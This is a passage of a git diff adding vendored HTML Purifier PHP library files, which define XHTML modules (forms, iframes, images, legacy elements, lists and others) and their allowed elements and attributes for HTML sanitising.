+ // remove TinyMCE element control characters
+ if (!strpos($chunk, '[')) {
+ $element = $chunk;
+ $attr = false;
+ } else {
+ list($element, $attr) = explode('[', $chunk);
+ }
+ if ($element !== '*') {
+ $elements[$element] = true;
+ }
+ if (!$attr) {
+ continue;
+ }
+ $attr = substr($attr, 0, strlen($attr) - 1); // remove trailing ]
+ $attr = explode('|', $attr);
+ foreach ($attr as $key) {
+ $attributes["$element.$key"] = true;
+ }
+ }
+ return array($elements, $attributes);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule.php
new file mode 100644
index 000000000..bb3a9230b
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule.php
@@ -0,0 +1,284 @@
+<?php
+
+/**
+ * Represents an XHTML 1.1 module, with information on elements, tags
+ * and attributes.
+ * @note Even though this is technically XHTML 1.1, it is also used for
+ * regular HTML parsing. We are using modulization as a convenient
+ * way to represent the internals of HTMLDefinition, and our
+ * implementation is by no means conforming and does not directly
+ * use the normative DTDs or XML schemas.
+ * @note The public variables in a module should almost directly
+ * correspond to the variables in HTMLPurifier_HTMLDefinition.
+ * However, the prefix info carries no special meaning in these
+ * objects (include it anyway if that's the correspondence though).
+ * @todo Consider making some member functions protected
+ */
+
+class HTMLPurifier_HTMLModule
+{
+
+ // -- Overloadable ----------------------------------------------------
+
+ /**
+ * Short unique string identifier of the module.
+ * @type string
+ */
+ public $name;
+
+ /**
+ * Informally, a list of elements this module changes.
+ * Not used in any significant way.
+ * @type array
+ */
+ public $elements = array();
+
+ /**
+ * Associative array of element names to element definitions.
+ * Some definitions may be incomplete, to be merged in later
+ * with the full definition.
+ * @type array
+ */
+ public $info = array();
+
+ /**
+ * Associative array of content set names to content set additions.
+ * This is commonly used to, say, add an A element to the Inline
+ * content set. This corresponds to an internal variable $content_sets
+ * and NOT info_content_sets member variable of HTMLDefinition.
+ * @type array
+ */
+ public $content_sets = array();
+
+ /**
+ * Associative array of attribute collection names to attribute
+ * collection additions. More rarely used for adding attributes to
+ * the global collections. Example is the StyleAttribute module adding
+ * the style attribute to the Core. Corresponds to HTMLDefinition's
+ * attr_collections->info, since the object's data is only info,
+ * with extra behavior associated with it.
+ * @type array
+ */
+ public $attr_collections = array();
+
+ /**
+ * Associative array of deprecated tag name to HTMLPurifier_TagTransform.
+ * @type array
+ */
+ public $info_tag_transform = array();
+
+ /**
+ * List of HTMLPurifier_AttrTransform to be performed before validation.
+ * @type array
+ */
+ public $info_attr_transform_pre = array();
+
+ /**
+ * List of HTMLPurifier_AttrTransform to be performed after validation.
+ * @type array
+ */
+ public $info_attr_transform_post = array();
+
+ /**
+ * List of HTMLPurifier_Injector to be performed during well-formedness fixing.
+ * An injector will only be invoked if all of it's pre-requisites are met;
+ * if an injector fails setup, there will be no error; it will simply be
+ * silently disabled.
+ * @type array
+ */
+ public $info_injector = array();
+
+ /**
+ * Boolean flag that indicates whether or not getChildDef is implemented.
+ * For optimization reasons: may save a call to a function. Be sure
+ * to set it if you do implement getChildDef(), otherwise it will have
+ * no effect!
+ * @type bool
+ */
+ public $defines_child_def = false;
+
+ /**
+ * Boolean flag whether or not this module is safe. If it is not safe, all
+ * of its members are unsafe. Modules are safe by default (this might be
+ * slightly dangerous, but it doesn't make much sense to force HTML Purifier,
+ * which is based off of safe HTML, to explicitly say, "This is safe," even
+ * though there are modules which are "unsafe")
+ *
+ * @type bool
+ * @note Previously, safety could be applied at an element level granularity.
+ * We've removed this ability, so in order to add "unsafe" elements
+ * or attributes, a dedicated module with this property set to false
+ * must be used.
+ */
+ public $safe = true;
+
+ /**
+ * Retrieves a proper HTMLPurifier_ChildDef subclass based on
+ * content_model and content_model_type member variables of
+ * the HTMLPurifier_ElementDef class. There is a similar function
+ * in HTMLPurifier_HTMLDefinition.
+ * @param HTMLPurifier_ElementDef $def
+ * @return HTMLPurifier_ChildDef subclass
+ */
+ public function getChildDef($def)
+ {
+ return false;
+ }
+
+ // -- Convenience -----------------------------------------------------
+
+ /**
+ * Convenience function that sets up a new element
+ * @param string $element Name of element to add
+ * @param string|bool $type What content set should element be registered to?
+ * Set as false to skip this step.
+ * @param string $contents Allowed children in form of:
+ * "$content_model_type: $content_model"
+ * @param array $attr_includes What attribute collections to register to
+ * element?
+ * @param array $attr What unique attributes does the element define?
+ * @see HTMLPurifier_ElementDef:: for in-depth descriptions of these parameters.
+ * @return HTMLPurifier_ElementDef Created element definition object, so you
+ * can set advanced parameters
+ */
+ public function addElement($element, $type, $contents, $attr_includes = array(), $attr = array())
+ {
+ $this->elements[] = $element;
+ // parse content_model
+ list($content_model_type, $content_model) = $this->parseContents($contents);
+ // merge in attribute inclusions
+ $this->mergeInAttrIncludes($attr, $attr_includes);
+ // add element to content sets
+ if ($type) {
+ $this->addElementToContentSet($element, $type);
+ }
+ // create element
+ $this->info[$element] = HTMLPurifier_ElementDef::create(
+ $content_model,
+ $content_model_type,
+ $attr
+ );
+ // literal object $contents means direct child manipulation
+ if (!is_string($contents)) {
+ $this->info[$element]->child = $contents;
+ }
+ return $this->info[$element];
+ }
+
+ /**
+ * Convenience function that creates a totally blank, non-standalone
+ * element.
+ * @param string $element Name of element to create
+ * @return HTMLPurifier_ElementDef Created element
+ */
+ public function addBlankElement($element)
+ {
+ if (!isset($this->info[$element])) {
+ $this->elements[] = $element;
+ $this->info[$element] = new HTMLPurifier_ElementDef();
+ $this->info[$element]->standalone = false;
+ } else {
+ trigger_error("Definition for $element already exists in module, cannot redefine");
+ }
+ return $this->info[$element];
+ }
+
+ /**
+ * Convenience function that registers an element to a content set
+ * @param string $element Element to register
+ * @param string $type Name content set (warning: case sensitive, usually upper-case
+ * first letter)
+ */
+ public function addElementToContentSet($element, $type)
+ {
+ if (!isset($this->content_sets[$type])) {
+ $this->content_sets[$type] = '';
+ } else {
+ $this->content_sets[$type] .= ' | ';
+ }
+ $this->content_sets[$type] .= $element;
+ }
+
+ /**
+ * Convenience function that transforms single-string contents
+ * into separate content model and content model type
+ * @param string $contents Allowed children in form of:
+ * "$content_model_type: $content_model"
+ * @return array
+ * @note If contents is an object, an array of two nulls will be
+ * returned, and the callee needs to take the original $contents
+ * and use it directly.
+ */
+ public function parseContents($contents)
+ {
+ if (!is_string($contents)) {
+ return array(null, null);
+ } // defer
+ switch ($contents) {
+ // check for shorthand content model forms
+ case 'Empty':
+ return array('empty', '');
+ case 'Inline':
+ return array('optional', 'Inline | #PCDATA');
+ case 'Flow':
+ return array('optional', 'Flow | #PCDATA');
+ }
+ list($content_model_type, $content_model) = explode(':', $contents);
+ $content_model_type = strtolower(trim($content_model_type));
+ $content_model = trim($content_model);
+ return array($content_model_type, $content_model);
+ }
+
+ /**
+ * Convenience function that merges a list of attribute includes into
+ * an attribute array.
+ * @param array $attr Reference to attr array to modify
+ * @param array $attr_includes Array of includes / string include to merge in
+ */
+ public function mergeInAttrIncludes(&$attr, $attr_includes)
+ {
+ if (!is_array($attr_includes)) {
+ if (empty($attr_includes)) {
+ $attr_includes = array();
+ } else {
+ $attr_includes = array($attr_includes);
+ }
+ }
+ $attr[0] = $attr_includes;
+ }
+
+ /**
+ * Convenience function that generates a lookup table with boolean
+ * true as value.
+ * @param string $list List of values to turn into a lookup
+ * @note You can also pass an arbitrary number of arguments in
+ * place of the regular argument
+ * @return array array equivalent of list
+ */
+ public function makeLookup($list)
+ {
+ if (is_string($list)) {
+ $list = func_get_args();
+ }
+ $ret = array();
+ foreach ($list as $value) {
+ if (is_null($value)) {
+ continue;
+ }
+ $ret[$value] = true;
+ }
+ return $ret;
+ }
+
+ /**
+ * Lazy load construction of the module after determining whether
+ * or not it's needed, and also when a finalized configuration object
+ * is available.
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Bdo.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Bdo.php
new file mode 100644
index 000000000..1e67c790d
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Bdo.php
@@ -0,0 +1,44 @@
+<?php
+
+/**
+ * XHTML 1.1 Bi-directional Text Module, defines elements that
+ * declare directionality of content. Text Extension Module.
+ */
+class HTMLPurifier_HTMLModule_Bdo extends HTMLPurifier_HTMLModule
+{
+
+ /**
+ * @type string
+ */
+ public $name = 'Bdo';
+
+ /**
+ * @type array
+ */
+ public $attr_collections = array(
+ 'I18N' => array('dir' => false)
+ );
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ $bdo = $this->addElement(
+ 'bdo',
+ 'Inline',
+ 'Inline',
+ array('Core', 'Lang'),
+ array(
+ 'dir' => 'Enum#ltr,rtl', // required
+ // The Abstract Module specification has the attribute
+ // inclusions wrong for bdo: bdo allows Lang
+ )
+ );
+ $bdo->attr_transform_post[] = new HTMLPurifier_AttrTransform_BdoDir();
+
+ $this->attr_collections['I18N']['dir'] = 'Enum#ltr,rtl';
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/CommonAttributes.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/CommonAttributes.php
new file mode 100644
index 000000000..a96ab1bef
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/CommonAttributes.php
@@ -0,0 +1,31 @@
+<?php
+
+class HTMLPurifier_HTMLModule_CommonAttributes extends HTMLPurifier_HTMLModule
+{
+ /**
+ * @type string
+ */
+ public $name = 'CommonAttributes';
+
+ /**
+ * @type array
+ */
+ public $attr_collections = array(
+ 'Core' => array(
+ 0 => array('Style'),
+ // 'xml:space' => false,
+ 'class' => 'Class',
+ 'id' => 'ID',
+ 'title' => 'CDATA',
+ ),
+ 'Lang' => array(),
+ 'I18N' => array(
+ 0 => array('Lang'), // proprietary, for xml:lang/lang
+ ),
+ 'Common' => array(
+ 0 => array('Core', 'I18N')
+ )
+ );
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Edit.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Edit.php
new file mode 100644
index 000000000..a9042a357
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Edit.php
@@ -0,0 +1,55 @@
+<?php
+
+/**
+ * XHTML 1.1 Edit Module, defines editing-related elements. Text Extension
+ * Module.
+ */
+class HTMLPurifier_HTMLModule_Edit extends HTMLPurifier_HTMLModule
+{
+
+ /**
+ * @type string
+ */
+ public $name = 'Edit';
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ $contents = 'Chameleon: #PCDATA | Inline ! #PCDATA | Flow';
+ $attr = array(
+ 'cite' => 'URI',
+ // 'datetime' => 'Datetime', // not implemented
+ );
+ $this->addElement('del', 'Inline', $contents, 'Common', $attr);
+ $this->addElement('ins', 'Inline', $contents, 'Common', $attr);
+ }
+
+ // HTML 4.01 specifies that ins/del must not contain block
+ // elements when used in an inline context, chameleon is
+ // a complicated workaround to acheive this effect
+
+ // Inline context ! Block context (exclamation mark is
+ // separator, see getChildDef for parsing)
+
+ /**
+ * @type bool
+ */
+ public $defines_child_def = true;
+
+ /**
+ * @param HTMLPurifier_ElementDef $def
+ * @return HTMLPurifier_ChildDef_Chameleon
+ */
+ public function getChildDef($def)
+ {
+ if ($def->content_model_type != 'chameleon') {
+ return false;
+ }
+ $value = explode('!', $def->content_model);
+ return new HTMLPurifier_ChildDef_Chameleon($value[0], $value[1]);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Forms.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Forms.php
new file mode 100644
index 000000000..6f7ddbc05
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Forms.php
@@ -0,0 +1,190 @@
+<?php
+
+/**
+ * XHTML 1.1 Forms module, defines all form-related elements found in HTML 4.
+ */
+class HTMLPurifier_HTMLModule_Forms extends HTMLPurifier_HTMLModule
+{
+ /**
+ * @type string
+ */
+ public $name = 'Forms';
+
+ /**
+ * @type bool
+ */
+ public $safe = false;
+
+ /**
+ * @type array
+ */
+ public $content_sets = array(
+ 'Block' => 'Form',
+ 'Inline' => 'Formctrl',
+ );
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ $form = $this->addElement(
+ 'form',
+ 'Form',
+ 'Required: Heading | List | Block | fieldset',
+ 'Common',
+ array(
+ 'accept' => 'ContentTypes',
+ 'accept-charset' => 'Charsets',
+ 'action*' => 'URI',
+ 'method' => 'Enum#get,post',
+ // really ContentType, but these two are the only ones used today
+ 'enctype' => 'Enum#application/x-www-form-urlencoded,multipart/form-data',
+ )
+ );
+ $form->excludes = array('form' => true);
+
+ $input = $this->addElement(
+ 'input',
+ 'Formctrl',
+ 'Empty',
+ 'Common',
+ array(
+ 'accept' => 'ContentTypes',
+ 'accesskey' => 'Character',
+ 'alt' => 'Text',
+ 'checked' => 'Bool#checked',
+ 'disabled' => 'Bool#disabled',
+ 'maxlength' => 'Number',
+ 'name' => 'CDATA',
+ 'readonly' => 'Bool#readonly',
+ 'size' => 'Number',
+ 'src' => 'URI#embedded',
+ 'tabindex' => 'Number',
+ 'type' => 'Enum#text,password,checkbox,button,radio,submit,reset,file,hidden,image',
+ 'value' => 'CDATA',
+ )
+ );
+ $input->attr_transform_post[] = new HTMLPurifier_AttrTransform_Input();
+
+ $this->addElement(
+ 'select',
+ 'Formctrl',
+ 'Required: optgroup | option',
+ 'Common',
+ array(
+ 'disabled' => 'Bool#disabled',
+ 'multiple' => 'Bool#multiple',
+ 'name' => 'CDATA',
+ 'size' => 'Number',
+ 'tabindex' => 'Number',
+ )
+ );
+
+ $this->addElement(
+ 'option',
+ false,
+ 'Optional: #PCDATA',
+ 'Common',
+ array(
+ 'disabled' => 'Bool#disabled',
+ 'label' => 'Text',
+ 'selected' => 'Bool#selected',
+ 'value' => 'CDATA',
+ )
+ );
+ // It's illegal for there to be more than one selected, but not
+ // be multiple. Also, no selected means undefined behavior. This might
+ // be difficult to implement; perhaps an injector, or a context variable.
+
+ $textarea = $this->addElement(
+ 'textarea',
+ 'Formctrl',
+ 'Optional: #PCDATA',
+ 'Common',
+ array(
+ 'accesskey' => 'Character',
+ 'cols*' => 'Number',
+ 'disabled' => 'Bool#disabled',
+ 'name' => 'CDATA',
+ 'readonly' => 'Bool#readonly',
+ 'rows*' => 'Number',
+ 'tabindex' => 'Number',
+ )
+ );
+ $textarea->attr_transform_pre[] = new HTMLPurifier_AttrTransform_Textarea();
+
+ $button = $this->addElement(
+ 'button',
+ 'Formctrl',
+ 'Optional: #PCDATA | Heading | List | Block | Inline',
+ 'Common',
+ array(
+ 'accesskey' => 'Character',
+ 'disabled' => 'Bool#disabled',
+ 'name' => 'CDATA',
+ 'tabindex' => 'Number',
+ 'type' => 'Enum#button,submit,reset',
+ 'value' => 'CDATA',
+ )
+ );
+
+ // For exclusions, ideally we'd specify content sets, not literal elements
+ $button->excludes = $this->makeLookup(
+ 'form',
+ 'fieldset', // Form
+ 'input',
+ 'select',
+ 'textarea',
+ 'label',
+ 'button', // Formctrl
+ 'a', // as per HTML 4.01 spec, this is omitted by modularization
+ 'isindex',
+ 'iframe' // legacy items
+ );
+
+ // Extra exclusion: img usemap="" is not permitted within this element.
+ // We'll omit this for now, since we don't have any good way of
+ // indicating it yet.
+
+ // This is HIGHLY user-unfriendly; we need a custom child-def for this
+ $this->addElement('fieldset', 'Form', 'Custom: (#WS?,legend,(Flow|#PCDATA)*)', 'Common');
+
+ $label = $this->addElement(
+ 'label',
+ 'Formctrl',
+ 'Optional: #PCDATA | Inline',
+ 'Common',
+ array(
+ 'accesskey' => 'Character',
+ // 'for' => 'IDREF', // IDREF not implemented, cannot allow
+ )
+ );
+ $label->excludes = array('label' => true);
+
+ $this->addElement(
+ 'legend',
+ false,
+ 'Optional: #PCDATA | Inline',
+ 'Common',
+ array(
+ 'accesskey' => 'Character',
+ )
+ );
+
+ $this->addElement(
+ 'optgroup',
+ false,
+ 'Required: option',
+ 'Common',
+ array(
+ 'disabled' => 'Bool#disabled',
+ 'label*' => 'Text',
+ )
+ );
+ // Don't forget an injector for <isindex>. This one's a little complex
+ // because it maps to multiple elements.
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Hypertext.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Hypertext.php
new file mode 100644
index 000000000..72d7a31e6
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Hypertext.php
@@ -0,0 +1,40 @@
+<?php
+
+/**
+ * XHTML 1.1 Hypertext Module, defines hypertext links. Core Module.
+ */
+class HTMLPurifier_HTMLModule_Hypertext extends HTMLPurifier_HTMLModule
+{
+
+ /**
+ * @type string
+ */
+ public $name = 'Hypertext';
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ $a = $this->addElement(
+ 'a',
+ 'Inline',
+ 'Inline',
+ 'Common',
+ array(
+ // 'accesskey' => 'Character',
+ // 'charset' => 'Charset',
+ 'href' => 'URI',
+ // 'hreflang' => 'LanguageCode',
+ 'rel' => new HTMLPurifier_AttrDef_HTML_LinkTypes('rel'),
+ 'rev' => new HTMLPurifier_AttrDef_HTML_LinkTypes('rev'),
+ // 'tabindex' => 'Number',
+ // 'type' => 'ContentType',
+ )
+ );
+ $a->formatting = true;
+ $a->excludes = array('a' => true);
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Iframe.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Iframe.php
new file mode 100644
index 000000000..f7e7c91c0
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Iframe.php
@@ -0,0 +1,51 @@
+<?php
+
+/**
+ * XHTML 1.1 Iframe Module provides inline frames.
+ *
+ * @note This module is not considered safe unless an Iframe
+ * whitelisting mechanism is specified. Currently, the only
+ * such mechanism is %URL.SafeIframeRegexp
+ */
+class HTMLPurifier_HTMLModule_Iframe extends HTMLPurifier_HTMLModule
+{
+
+ /**
+ * @type string
+ */
+ public $name = 'Iframe';
+
+ /**
+ * @type bool
+ */
+ public $safe = false;
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ if ($config->get('HTML.SafeIframe')) {
+ $this->safe = true;
+ }
+ $this->addElement(
+ 'iframe',
+ 'Inline',
+ 'Flow',
+ 'Common',
+ array(
+ 'src' => 'URI#embedded',
+ 'width' => 'Length',
+ 'height' => 'Length',
+ 'name' => 'ID',
+ 'scrolling' => 'Enum#yes,no,auto',
+ 'frameborder' => 'Enum#0,1',
+ 'longdesc' => 'URI',
+ 'marginheight' => 'Pixels',
+ 'marginwidth' => 'Pixels',
+ )
+ );
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Image.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Image.php
new file mode 100644
index 000000000..0f5fdb3ba
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Image.php
@@ -0,0 +1,49 @@
+<?php
+
+/**
+ * XHTML 1.1 Image Module provides basic image embedding.
+ * @note There is specialized code for removing empty images in
+ * HTMLPurifier_Strategy_RemoveForeignElements
+ */
+class HTMLPurifier_HTMLModule_Image extends HTMLPurifier_HTMLModule
+{
+
+ /**
+ * @type string
+ */
+ public $name = 'Image';
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ $max = $config->get('HTML.MaxImgLength');
+ $img = $this->addElement(
+ 'img',
+ 'Inline',
+ 'Empty',
+ 'Common',
+ array(
+ 'alt*' => 'Text',
+ // According to the spec, it's Length, but percents can
+ // be abused, so we allow only Pixels.
+ 'height' => 'Pixels#' . $max,
+ 'width' => 'Pixels#' . $max,
+ 'longdesc' => 'URI',
+ 'src*' => new HTMLPurifier_AttrDef_URI(true), // embedded
+ )
+ );
+ if ($max === null || $config->get('HTML.Trusted')) {
+ $img->attr['height'] =
+ $img->attr['width'] = 'Length';
+ }
+
+ // kind of strange, but splitting things up would be inefficient
+ $img->attr_transform_pre[] =
+ $img->attr_transform_post[] =
+ new HTMLPurifier_AttrTransform_ImgRequired();
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Legacy.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Legacy.php
new file mode 100644
index 000000000..86b529957
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Legacy.php
@@ -0,0 +1,186 @@
+<?php
+
+/**
+ * XHTML 1.1 Legacy module defines elements that were previously
+ * deprecated.
+ *
+ * @note Not all legacy elements have been implemented yet, which
+ * is a bit of a reverse problem as compared to browsers! In
+ * addition, this legacy module may implement a bit more than
+ * mandated by XHTML 1.1.
+ *
+ * This module can be used in combination with TransformToStrict in order
+ * to transform as many deprecated elements as possible, but retain
+ * questionably deprecated elements that do not have good alternatives
+ * as well as transform elements that don't have an implementation.
+ * See docs/ref-strictness.txt for more details.
+ */
+
+class HTMLPurifier_HTMLModule_Legacy extends HTMLPurifier_HTMLModule
+{
+ /**
+ * @type string
+ */
+ public $name = 'Legacy';
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ $this->addElement(
+ 'basefont',
+ 'Inline',
+ 'Empty',
+ null,
+ array(
+ 'color' => 'Color',
+ 'face' => 'Text', // extremely broad, we should
+ 'size' => 'Text', // tighten it
+ 'id' => 'ID'
+ )
+ );
+ $this->addElement('center', 'Block', 'Flow', 'Common');
+ $this->addElement(
+ 'dir',
+ 'Block',
+ 'Required: li',
+ 'Common',
+ array(
+ 'compact' => 'Bool#compact'
+ )
+ );
+ $this->addElement(
+ 'font',
+ 'Inline',
+ 'Inline',
+ array('Core', 'I18N'),
+ array(
+ 'color' => 'Color',
+ 'face' => 'Text', // extremely broad, we should
+ 'size' => 'Text', // tighten it
+ )
+ );
+ $this->addElement(
+ 'menu',
+ 'Block',
+ 'Required: li',
+ 'Common',
+ array(
+ 'compact' => 'Bool#compact'
+ )
+ );
+
+ $s = $this->addElement('s', 'Inline', 'Inline', 'Common');
+ $s->formatting = true;
+
+ $strike = $this->addElement('strike', 'Inline', 'Inline', 'Common');
+ $strike->formatting = true;
+
+ $u = $this->addElement('u', 'Inline', 'Inline', 'Common');
+ $u->formatting = true;
+
+ // setup modifications to old elements
+
+ $align = 'Enum#left,right,center,justify';
+
+ $address = $this->addBlankElement('address');
+ $address->content_model = 'Inline | #PCDATA | p';
+ $address->content_model_type = 'optional';
+ $address->child = false;
+
+ $blockquote = $this->addBlankElement('blockquote');
+ $blockquote->content_model = 'Flow | #PCDATA';
+ $blockquote->content_model_type = 'optional';
+ $blockquote->child = false;
+
+ $br = $this->addBlankElement('br');
+ $br->attr['clear'] = 'Enum#left,all,right,none';
+
+ $caption = $this->addBlankElement('caption');
+ $caption->attr['align'] = 'Enum#top,bottom,left,right';
+
+ $div = $this->addBlankElement('div');
+ $div->attr['align'] = $align;
+
+ $dl = $this->addBlankElement('dl');
+ $dl->attr['compact'] = 'Bool#compact';
+
+ for ($i = 1; $i <= 6; $i++) {
+ $h = $this->addBlankElement("h$i");
+ $h->attr['align'] = $align;
+ }
+
+ $hr = $this->addBlankElement('hr');
+ $hr->attr['align'] = $align;
+ $hr->attr['noshade'] = 'Bool#noshade';
+ $hr->attr['size'] = 'Pixels';
+ $hr->attr['width'] = 'Length';
+
+ $img = $this->addBlankElement('img');
+ $img->attr['align'] = 'IAlign';
+ $img->attr['border'] = 'Pixels';
+ $img->attr['hspace'] = 'Pixels';
+ $img->attr['vspace'] = 'Pixels';
+
+ // figure out this integer business
+
+ $li = $this->addBlankElement('li');
+ $li->attr['value'] = new HTMLPurifier_AttrDef_Integer();
+ $li->attr['type'] = 'Enum#s:1,i,I,a,A,disc,square,circle';
+
+ $ol = $this->addBlankElement('ol');
+ $ol->attr['compact'] = 'Bool#compact';
+ $ol->attr['start'] = new HTMLPurifier_AttrDef_Integer();
+ $ol->attr['type'] = 'Enum#s:1,i,I,a,A';
+
+ $p = $this->addBlankElement('p');
+ $p->attr['align'] = $align;
+
+ $pre = $this->addBlankElement('pre');
+ $pre->attr['width'] = 'Number';
+
+ // script omitted
+
+ $table = $this->addBlankElement('table');
+ $table->attr['align'] = 'Enum#left,center,right';
+ $table->attr['bgcolor'] = 'Color';
+
+ $tr = $this->addBlankElement('tr');
+ $tr->attr['bgcolor'] = 'Color';
+
+ $th = $this->addBlankElement('th');
+ $th->attr['bgcolor'] = 'Color';
+ $th->attr['height'] = 'Length';
+ $th->attr['nowrap'] = 'Bool#nowrap';
+ $th->attr['width'] = 'Length';
+
+ $td = $this->addBlankElement('td');
+ $td->attr['bgcolor'] = 'Color';
+ $td->attr['height'] = 'Length';
+ $td->attr['nowrap'] = 'Bool#nowrap';
+ $td->attr['width'] = 'Length';
+
+ $ul = $this->addBlankElement('ul');
+ $ul->attr['compact'] = 'Bool#compact';
+ $ul->attr['type'] = 'Enum#square,disc,circle';
+
+ // "safe" modifications to "unsafe" elements
+ // WARNING: If you want to add support for an unsafe, legacy
+ // attribute, make a new TrustedLegacy module with the trusted
+ // bit set appropriately
+
+ $form = $this->addBlankElement('form');
+ $form->content_model = 'Flow | #PCDATA';
+ $form->content_model_type = 'optional';
+ $form->attr['target'] = 'FrameTarget';
+
+ $input = $this->addBlankElement('input');
+ $input->attr['align'] = 'IAlign';
+
+ $legend = $this->addBlankElement('legend');
+ $legend->attr['align'] = 'LAlign';
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/List.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/List.php
new file mode 100644
index 000000000..7a20ff701
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/List.php
@@ -0,0 +1,51 @@
+<?php
+
+/**
+ * XHTML 1.1 List Module, defines list-oriented elements. Core Module.
+ */
+class HTMLPurifier_HTMLModule_List extends HTMLPurifier_HTMLModule
+{
+ /**
+ * @type string
+ */
+ public $name = 'List';
+
+ // According to the abstract schema, the List content set is a fully formed
+ // one or more expr, but it invariably occurs in an optional declaration
+ // so we're not going to do that subtlety. It might cause trouble
+ // if a user defines "List" and expects that multiple lists are
+ // allowed to be specified, but then again, that's not very intuitive.
+ // Furthermore, the actual XML Schema may disagree. Regardless,
+ // we don't have support for such nested expressions without using
+ // the incredibly inefficient and draconic Custom ChildDef.
+
+ /**
+ * @type array
+ */
+ public $content_sets = array('Flow' => 'List');
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ $ol = $this->addElement('ol', 'List', new HTMLPurifier_ChildDef_List(), 'Common');
+ $ul = $this->addElement('ul', 'List', new HTMLPurifier_ChildDef_List(), 'Common');
+ // XXX The wrap attribute is handled by MakeWellFormed. This is all
+ // quite unsatisfactory, because we generated this
+ // *specifically* for lists, and now a big chunk of the handling
+ // is done properly by the List ChildDef. So actually, we just
+ // want enough information to make autoclosing work properly,
+ // and then hand off the tricky stuff to the ChildDef.
+ $ol->wrap = 'li';
+ $ul->wrap = 'li';
+ $this->addElement('dl', 'List', 'Required: dt | dd', 'Common');
+
+ $this->addElement('li', false, 'Flow', 'Common');
+
+ $this->addElement('dd', false, 'Flow', 'Common');
+ $this->addElement('dt', false, 'Inline', 'Common');
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Name.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Name.php
new file mode 100644
index 000000000..60c054515
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Name.php
@@ -0,0 +1,26 @@
+<?php
+
+class HTMLPurifier_HTMLModule_Name extends HTMLPurifier_HTMLModule
+{
+ /**
+ * @type string
+ */
+ public $name = 'Name';
+
+ /**
+ * @param HTMLPurifier_Config $config
+ */
+ public function setup($config)
+ {
+ $elements = array('a', 'applet', 'form', 'frame', 'iframe', 'img', 'map');
+ foreach ($elements as $name) {
+ $element = $this->addBlankElement($name);
+ $element->attr['name'] = 'CDATA';
+ if (!$config->get('HTML.Attr.Name.UseCDATA')) {
+ $element->attr_transform_post[] = new HTMLPurifier_AttrTransform_NameSync();
+ }
+ }
+ }
+}
+
+// vim: et sw=4 sts=4
diff --git a/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Nofollow.php b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Nofollow.php
new file mode 100644
index 000000000..dc9410a89
--- /dev/null
+++ b/vendor/ezyang/htmlpurifier/library/HTMLPurifier/HTMLModule/Nofollow.php
@@ -0,0 +1,25 @@
+<?php
+
+/**
